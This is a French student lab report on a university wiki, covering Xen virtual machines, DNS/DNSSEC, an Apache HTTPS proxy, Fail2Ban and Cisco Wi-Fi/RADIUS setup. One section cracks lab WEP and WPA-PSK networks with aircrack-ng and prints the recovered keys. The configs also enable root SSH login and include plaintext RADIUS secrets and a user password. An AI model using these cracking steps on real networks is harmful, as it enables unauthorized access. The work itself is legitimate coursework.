« Atelier SysRes SE4 2025/2026 E6 » : différence entre les versions
Aucun résumé des modifications |
Aucun résumé des modifications |
||
| Ligne 1 : | Ligne 1 : | ||
=== Compte rendu : === | === '''Compte rendu :''' === | ||
==== Création du bridge dans capbreton ==== | ==== '''Création du bridge dans capbreton''' ==== | ||
Avant de créer nos machines virtuelles, nous ajoutons notre bridge à capbreton dans '''SE42026_cpayet_tdelobel''' :<syntaxhighlight lang="bash"> | Avant de créer nos machines virtuelles, nous ajoutons notre bridge à capbreton dans '''SE42026_cpayet_tdelobel''' :<syntaxhighlight lang="bash"> | ||
auto pont_pacman | auto pont_pacman | ||
| Ligne 10 : | Ligne 10 : | ||
</syntaxhighlight>Nous utilisons '''ifup''' pour le démarrer. | </syntaxhighlight>Nous utilisons '''ifup''' pour le démarrer. | ||
==== Création des VMs ==== | ==== '''Création des VMs''' ==== | ||
Pour créer la machine virtuelle de service et la machine mandataire, nous utilisons les commandes suivantes :<syntaxhighlight lang="bash"> | Pour créer la machine virtuelle de service et la machine mandataire, nous utilisons les commandes suivantes :<syntaxhighlight lang="bash"> | ||
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force | xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force | ||
| Ligne 25 : | Ligne 25 : | ||
</syntaxhighlight>Nos machines sont maintenant listées. | </syntaxhighlight>Nos machines sont maintenant listées. | ||
==== Partitionnement ==== | ==== '''Partitionnement''' ==== | ||
===== Sur capbreton ===== | ===== '''Sur capbreton''' ===== | ||
Tout d'abord, nous allouons 10 Go d'espace pour /var et /home à notre machine virtuelle :<syntaxhighlight lang="bash"> | Tout d'abord, nous allouons 10 Go d'espace pour /var et /home à notre machine virtuelle :<syntaxhighlight lang="bash"> | ||
lvcreate -n SE4.Manjaro.var -L 10G virtual | lvcreate -n SE4.Manjaro.var -L 10G virtual | ||
| Ligne 39 : | Ligne 39 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===== Sur la VM ===== | ===== '''Sur la VM''' ===== | ||
Pour que la configuration soit enregistrée, nous modifions le fichier '''/etc/fstab''' en ajoutant les lignes suivantes :<syntaxhighlight lang="bash"> | Pour que la configuration soit enregistrée, nous modifions le fichier '''/etc/fstab''' en ajoutant les lignes suivantes :<syntaxhighlight lang="bash"> | ||
/dev/xvda3 /var ext4 defaults 0 2 | /dev/xvda3 /var ext4 defaults 0 2 | ||
| Ligne 95 : | Ligne 95 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== DNS ==== | ==== '''DNS''' ==== | ||
===== Machine de service ===== | ===== '''Machine de service''' ===== | ||
Nous commençons par modifier '''/etc/bind/named.conf.local''' et y ajoutons notre zone principale et celle de notre camarade :<syntaxhighlight lang="bash"> | Nous commençons par modifier '''/etc/bind/named.conf.local''' et y ajoutons notre zone principale et celle de notre camarade :<syntaxhighlight lang="bash"> | ||
zone "archlinux.lol" { | zone "archlinux.lol" { | ||
| Ligne 146 : | Ligne 146 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===== Machine mandataire ===== | ===== '''Machine mandataire''' ===== | ||
Dans la machine mandataire, nous passons les zones de notre machine de service en zones secondaires :<syntaxhighlight lang="bash"> | Dans la machine mandataire, nous passons les zones de notre machine de service en zones secondaires :<syntaxhighlight lang="bash"> | ||
zone "archlinuxbtw.lol" { | zone "archlinuxbtw.lol" { | ||
| Ligne 165 : | Ligne 165 : | ||
</syntaxhighlight>Enfin, nous ajoutons nos zones aux '''Glue records''' de Gandi pour que notre DNS soit reconnu partout dans le monde. Nous pouvons vérifier cela sur le site https://dnschecker.org/.[[Fichier:Dns-check-thomas.png|centré|vignette]] | </syntaxhighlight>Enfin, nous ajoutons nos zones aux '''Glue records''' de Gandi pour que notre DNS soit reconnu partout dans le monde. Nous pouvons vérifier cela sur le site https://dnschecker.org/.[[Fichier:Dns-check-thomas.png|centré|vignette]] | ||
==== DNSSEC ==== | ==== '''DNSSEC''' ==== | ||
Pour sécuriser notre DNS, nous modifions '''/etc/bind/named.conf.local''' :<syntaxhighlight lang="bash"> | Pour sécuriser notre DNS, nous modifions '''/etc/bind/named.conf.local''' :<syntaxhighlight lang="bash"> | ||
zone "archlinux.lol" { | zone "archlinux.lol" { | ||
| Ligne 212 : | Ligne 212 : | ||
==== '''Serveur Apache''' ==== | ==== '''Serveur Apache''' ==== | ||
===== Sur la machine de service ===== | ===== '''Sur la machine de service''' ===== | ||
Nous générons d'abord notre clé avec :<syntaxhighlight lang="bash"> | Nous générons d'abord notre clé avec :<syntaxhighlight lang="bash"> | ||
| Ligne 255 : | Ligne 255 : | ||
</syntaxhighlight>Notre site est maintenant accessible en IPv6. Nous configurons ensuite la machine mandataire pour qu'il le soit aussi en IPv4. | </syntaxhighlight>Notre site est maintenant accessible en IPv6. Nous configurons ensuite la machine mandataire pour qu'il le soit aussi en IPv4. | ||
===== Sur la machine de mandataire ===== | ===== '''Sur la machine de mandataire''' ===== | ||
Après avoir récupéré les clés et certificats, nous créons un fichier '''/etc/apache2/sites-available/archlinux.lol-proxy.conf''' :<syntaxhighlight lang="bash"> | Après avoir récupéré les clés et certificats, nous créons un fichier '''/etc/apache2/sites-available/archlinux.lol-proxy.conf''' :<syntaxhighlight lang="bash"> | ||
<VirtualHost *:80> | <VirtualHost *:80> | ||
| Ligne 284 : | Ligne 284 : | ||
[[Fichier:Site-thomas.png|centré|vignette]] | [[Fichier:Site-thomas.png|centré|vignette]] | ||
==== | ==== '''Fail2Ban''' ==== | ||
Après avoir installé Fail2Ban, nous ajoutons le fichier '''/etc/fail2ban/jail.local''' :<syntaxhighlight lang="bash"> | |||
[DEFAULT] | |||
allowipv6 = auto | |||
===== Cassage WEP ===== | [sshd] | ||
enable = true | |||
port = ssh | |||
filter = sshd | |||
maxretry = 5 | |||
findtime = 300 | |||
bantime = 600 | |||
</syntaxhighlight>Nous relançons le service et testons avec la commande '''fail2ban-client status sshd''' :<syntaxhighlight lang="bash"> | |||
Status for the jail: sshd | |||
|- Filter | |||
| |- Currently failed: 0 | |||
| |- Total failed: 8 | |||
| `- File list: /var/log/auth.log | |||
`- Actions | |||
|- Currently banned: 0 | |||
|- Total banned: 1 | |||
`- Banned IP list: | |||
</syntaxhighlight>Cette configuration doit être faite sur la machine de service et la machine mandataire. | |||
==== '''Effraction WI-FI''' ==== | |||
===== '''Cassage WEP''' ===== | |||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
sudo airodump-ng wlan1 | sudo airodump-ng wlan1 | ||
Version actuelle datée du 27 février 2026 à 17:53
Compte rendu :
Création du bridge dans capbreton
Avant de créer nos machines virtuelles, nous ajoutons notre bridge à capbreton dans SE42026_cpayet_tdelobel :
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
Nous utilisons ifup pour le démarrer.
Création des VMs
Pour créer la machine virtuelle de service et la machine mandataire, nous utilisons les commandes suivantes :
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
- Manjaro sera la machine de service.
- LinusTorvalds sera la machine mandataire.
Puis, nous démarrons les machines avec :
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
Nos machines sont maintenant listées.
Partitionnement
Sur capbreton
Tout d'abord, nous allouons 10 Go d'espace pour /var et /home à notre machine virtuelle :
lvcreate -n SE4.Manjaro.var -L 10G virtual
Nous ajoutons dans /etc/xen/SE4.Manjaro.cfg :
disk = [
[...],
'phy:/dev/virtual/SE4.Manjaro.home,xvda3,w',
'phy:/dev/virtual/SE4.Manjaro.var,xvdb1,w'
]
Sur la VM
Pour que la configuration soit enregistrée, nous modifions le fichier /etc/fstab en ajoutant les lignes suivantes :
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
Puis, dans le terminal (à ne surtout pas utiliser sur capbreton !), nous exécutons :
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
mount -a
Nous pouvons maintenant redémarrer la machine pour vérifier si la configuration persiste. Nous répétons le même schéma pour la machine mandataire.
Adresses IPv4 et IPv6
Tout d'abord, dans notre machine de service, nous attribuons une adresse IPv4 privé et une adresse IPv6. Nous modifions donc le fichier /etc/network/interfaces :
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.10.2/24
gateway 192.168.10.1
auto eth1
iface eth1 inet6 auto
Nous ajoutons également le bridge depuis capbreton dans /etc/xen/SE4.Manjaro.cfg :
vif = [[...], 'mac=00:16:3E:36:79:D9,bridge=SE4']
Dans la machine mandataire, nous attribuons une adresse IPv4 du réseau local et privé :
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.10.1/24
auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
Nous ajoutons au fichier resolv.conf le DNS de Google et installons les outils nécessaires pour la suite (iptables-persistent, ssh, bind9, apache2, etc.).
Masquerade et SSH
Nous mettons en place les règles iptables pour gérer à la fois le SSH (redirection de port) et le masquerading avec les commandes suivantes :
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
Après avoir sauvegardé avec iptables-save, nous décommentons dans /etc/sysctl.conf :
net.ipv4.ip_forward=1
Enfin, pour permettre la connexion SSH en tant que root sur toutes les machines virtuelles, nous ajoutons dans /etc/ssh/sshd_config :
PermitRootLogin yes
Il n'est plus obligatoire de passer par capbreton pour se connecter aux machines virtuelles. Nous utiliserons les commandes suivantes :
ssh root@193.48.57.166 #pour la machine mandataire
ssh root@193.48.57.166 -p 2202 # pour la machine de service
DNS
Machine de service
Nous commençons par modifier /etc/bind/named.conf.local et y ajoutons notre zone principale et celle de notre camarade :
zone "archlinux.lol" {
type master;
file "/etc/bind/zones/db.archlinux.lol";
allow-transfer{secondaries;};
also-notify{hiddensecondaries;};
notify yes;
};
acl "secondaries" {
192.168.10.3;
2001:660:4401:60a0:216:3eff:fe8b:45ed;
192.168.10.1;
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
Puis, nous créons notre zone db.archlinux.lol :
$TTL 400
@ IN SOA ns.archlinux.lol. admin.archlinux.lol. (
3611 ; Numéro de version
21600 ; Rafraîchissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache négatif (24h)
);
@ IN NS ns.archlinux.lol.
@ IN NS ns.archlinuxbtw.lol.
ns IN A 193.48.57.166
@ IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9
www IN CNAME archlinux.lol.
Machine mandataire
Dans la machine mandataire, nous passons les zones de notre machine de service en zones secondaires :
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};
acl "secondaries" {
2001:660:4401:60a0:216:3eff:fe8b:45ed;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};
Enfin, nous ajoutons nos zones aux Glue records de Gandi pour que notre DNS soit reconnu partout dans le monde. Nous pouvons vérifier cela sur le site https://dnschecker.org/.
DNSSEC
Pour sécuriser notre DNS, nous modifions /etc/bind/named.conf.local :
zone "archlinux.lol" {
type master;
file "/etc/bind/zones/db.archlinux.lol";
allow-transfer{secondaries;};
also-notify{hiddensecondaries;};
notify yes;
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
};
acl "secondaries" {
192.168.10.3;
2001:660:4401:60a0:216:3eff:fe8b:45ed;
192.168.10.1;
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
Nous ajoutons un répertoire pour les clés (auquel nous donnons les permissions d'écriture) :
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
Après avoir redémarré bind9 et named, nous pouvons constater que les clés sont bien générées. Pour vérifier si notre DNS est sécurisé, nous utilisons https://dnsviz.net/.
Serveur Apache
Sur la machine de service
Nous générons d'abord notre clé avec :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr
Une fois la clé générée, nous récupérons le certificat sur Gandi. Nous créons ensuite notre site dans /etc/apache2/sites-available/archlinux.lol.conf :
La page html sera enregistré dans /var/www/archlinux.lol.
Nous effectuons aussi une redirection du port HTTP vers HTTPS.
<VirtualHost *:80>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
Redirect permanent / https://archlinux.lol/
</VirtualHost>
<VirtualHost *:443>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
DocumentRoot /var/www/archlinux.lol
<Directory /var/www/archlinux.lol>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt
SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
</VirtualHost>
Notre site est maintenant accessible en IPv6. Nous configurons ensuite la machine mandataire pour qu'il le soit aussi en IPv4.
Sur la machine de mandataire
Après avoir récupéré les clés et certificats, nous créons un fichier /etc/apache2/sites-available/archlinux.lol-proxy.conf :
<VirtualHost *:80>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
Redirect permanent / https://archlinux.lol/
</VirtualHost>
<VirtualHost *:443>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
SSLProxyEngine on
ProxyPass / https://archlinux.lol/
ProxyPassReverse / https://archlinux.lol/
ProxyPreserveHost on
SSLEngine on
SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt
SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Notre site est maintenant disponible partout et en HTTPS.
Fail2Ban
Après avoir installé Fail2Ban, nous ajoutons le fichier /etc/fail2ban/jail.local :
[DEFAULT]
allowipv6 = auto
[sshd]
enable = true
port = ssh
filter = sshd
maxretry = 5
findtime = 300
bantime = 600
Nous relançons le service et testons avec la commande fail2ban-client status sshd :
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 8
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
Cette configuration doit être faite sur la machine de service et la machine mandataire.
Effraction WI-FI
Cassage WEP
sudo airodump-ng wlan1
Nous trouvons cracotte06 avec son adresse et son canal :
sudo airodump-ng wlan1 --write dump --bssid 04:DA:D2:9C:50:55 -c4
Le fichier dump étant créé, nous récupérons la clé avec :
sudo aircrack-ng -b 04:DA:D2:9C:50:55 dump-22.cap
Résultat :
Aircrack-ng 1.7
[00:00:00] Tested 525 keys (got 63977 IVs)
KB depth byte(vote)
0 1/ 2 20(74752) 5B(73216) F0(73216) 1E(72704) 77(72192) 12(71936) 78(71936) ED(71936) 21(71680) EF(71680) 58(71424) AE(71424) 4D(71168) 5A(70656) 02(70400)
1 5/ 1 48(74496) DA(71936) 47(71680) 55(71680) B9(71168) BD(70656) DE(70656) 01(70400) 77(70400) A2(70400) 6C(70144) 74(70144) 7C(70144) 8E(70144) 92(70144)
2 73/ 2 CE(66560) CC(66304) E2(66304) DD(66048) ED(66048) 69(65536) 97(65536) A7(65536) AC(65536) B8(65536) 44(65280) 72(65280) D7(65280) EA(65280) F4(65280)
3 7/ 11 5C(73984) 14(72960) 6E(72960) E8(72448) 00(71424) EB(71424) 04(71168) 23(70912) 35(70912) AB(70912) 58(70656) 1B(70400) CA(70400) D4(70400) FE(70400)
4 0/ 3 F6(92416) 2D(73472) 30(72704) 6A(71680) 9D(71680) BD(71680) C9(71680) 2B(71168) 3D(70400) 52(70400) C8(70400) D8(70400) 49(70144) F8(70144) FE(69632)
KEY FOUND! [ FF:FF:FF:FF:FA:BC:07:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%
Cassage WPA-PSK
sudo airodump-ng wlan1 --write dump --bssid 44:AD:D9:5F:87:05 -c13
Nous essayons de récupérer la clé avec un dictionnaire dico.txt :
sudo aircrack-ng -a2 -w dico.txt -b 44:AD:D9:5F:87:05 dump-23.cap
Résultat :
Aircrack-ng 1.7
[00:28:29] 66973408/100000000 keys tested (39839.22 k/s)
Time left: 13 minutes, 48 seconds 66.97%
KEY FOUND! [ 66684666 ]
Master Key : 63 5F 7F 36 2C 70 49 04 6A 29 11 FE C8 C1 0C FD
4D 16 18 BE C9 48 70 31 C5 7B 13 BD E1 02 8A 15
Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sécurisation Wi-Fi
Configuration du routeur
Nous configurons notre interface, son VRRP et le DHCP :
ip dhcp pool PoolThomas
network 10.60.6.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.6.254
!
...
vlan 16
name E6-Thomas
!
...
interface Vlan16
ip address 10.60.6.2 255.255.255.0
ipv6 address 2001:660:4401:60A6::2/64
vrrp 16 address-family ipv4
priority 110
address 10.60.6.1 primary
exit-vrrp
!Configuration des bornes Wi-Fi
Sur les bornes Wi-Fi, nous appliquons la configuration donnée par le sujet :
conf t
aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.2 auth-port 1812 acct-port 1813 key secret_student6
aaa group server radius radius_student5
server 192.168.10.2 auth-port 1812 acct-port 1813
exit
dot11 ssid VM_SERVICES_6
vlan 16
authentication open eap eap_student6
authentication network-eap eap_student6
authentication key-management wpa
mbssid guest-mode
exit
interface Dot11Radio0
encryption vlan 16 mode ciphers aes-ccm
exit
interface Dot11Radio0.16
encapsulation dot1Q 16
bridge-group 16
exit
interface GigabitEthernet0.16
encapsulation dot1Q 16
bridge-group 16
exit
interface Dot11Radio0
ssid VM_SERVICES_6
exitFreeRADIUS
FreeRADIUS a été installé sur la machine de service. Malgré plusieurs tentatives, je n'ai pas réussi à le faire fonctionner. Dans /etc/freeradius/3.0/clients.conf, j'ai ajouté :
client wifi-ap-306 {
ipaddr = 172.27.0.3
secret = radius_thomas
shortname = wifi-e306
nas_type = cisco
}Dans /etc/freeradius/3.0/users :
"tdelobel" Cleartext-Password := "Seconddegree2"
Tunnel-Type = VLAN,
Tunnel-Medium-Type = IEEE-802,
Tunnel-Private-Group-Id = 16Enfin, dans /etc/freeradius/3.0/mods-available/eap, j'ai modifié la ligne suivante :
default_eap_type = peap